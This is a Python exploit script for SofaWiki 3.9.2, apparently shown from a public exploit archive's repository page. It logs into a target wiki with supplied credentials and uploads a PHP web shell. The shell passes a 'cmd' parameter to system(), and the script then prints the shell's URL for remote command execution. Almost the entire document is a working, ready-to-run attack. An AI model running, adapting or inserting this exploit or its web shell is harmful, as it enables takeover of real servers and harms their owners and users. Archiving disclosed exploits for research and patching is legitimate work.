9eb5c7b425
7 changes to exploits/shellcodes/ghdb Palo Alto PAN-OS < v11.1.2-h3 - Command Injection and Arbitrary File Creation FlatPress v1.3 - Remote Command Execution Laravel Framework 11 - Credential Leakage SofaWiki 3.9.2 - Remote Command Execution (RCE) (Authenticated) Wordpress Plugin Background Image Cropper v1.2 - Remote Code Execution Flowise 1.6.5 - Authentication Bypass
82 lines
No EOL
1.7 KiB
Python
Executable file
82 lines
No EOL
1.7 KiB
Python
Executable file
# Exploit Title: SofaWiki 3.9.2 - Remote Command Execution (RCE) (Authenticated)
|
|
# Discovered by: Ahmet Ümit BAYRAM
|
|
# Discovered Date: 18.04.2024
|
|
# Vendor Homepage: https://www.sofawiki.com
|
|
# Software Link: https://www.sofawiki.com/site/files/snapshot.zip
|
|
# Tested Version: v3.9.2 (latest)
|
|
# Tested on: MacOS
|
|
|
|
|
|
import requests
|
|
import random
|
|
import sys
|
|
import time
|
|
|
|
def main():
|
|
if len(sys.argv) < 4:
|
|
print("Usage: python exploit.py <base_url> <username> <password>")
|
|
sys.exit(1)
|
|
|
|
base_url, username, password = sys.argv[1:4]
|
|
|
|
|
|
filename = f"{random.randint(10000, 99999)}.phtml"
|
|
|
|
|
|
session = requests.Session()
|
|
|
|
|
|
login_url = f"{base_url}/index.php"
|
|
login_data = {
|
|
"submitlogin": "Login",
|
|
"username": username,
|
|
"pass": password,
|
|
"name": "SofaWiki",
|
|
"action": "login"
|
|
}
|
|
print("Exploiting...")
|
|
time.sleep(1)
|
|
response = session.post(login_url, data=login_data)
|
|
if "Logout" not in response.text:
|
|
print("Login failed:", response.text)
|
|
sys.exit()
|
|
|
|
print("Login Successful")
|
|
time.sleep(1)
|
|
php_shell_code = """
|
|
<html>
|
|
<body>
|
|
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
|
|
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
|
|
<input type="SUBMIT" value="Execute">
|
|
</form>
|
|
<pre>
|
|
<?php
|
|
if(isset($_GET['cmd']))
|
|
{
|
|
system($_GET['cmd']);
|
|
}
|
|
?>
|
|
</pre>
|
|
</body>
|
|
</html>
|
|
"""
|
|
|
|
print("Shell uploading...")
|
|
time.sleep(1)
|
|
upload_url = f"{base_url}/index.php"
|
|
files = {
|
|
"uploadedfile": (filename, php_shell_code, "text/php"),
|
|
"action": (None, "uploadfile"),
|
|
"MAX_FILE_SIZE": (None, "8000000"),
|
|
"filename": (None, filename),
|
|
"content": (None, "content")
|
|
}
|
|
response = session.post(upload_url, files=files)
|
|
if response.status_code == 200:
|
|
print(f"Your shell is ready: {base_url}/site/files/{filename}")
|
|
else:
|
|
print("Upload failed:", response.text)
|
|
|
|
if __name__ == "__main__":
|
|
main() |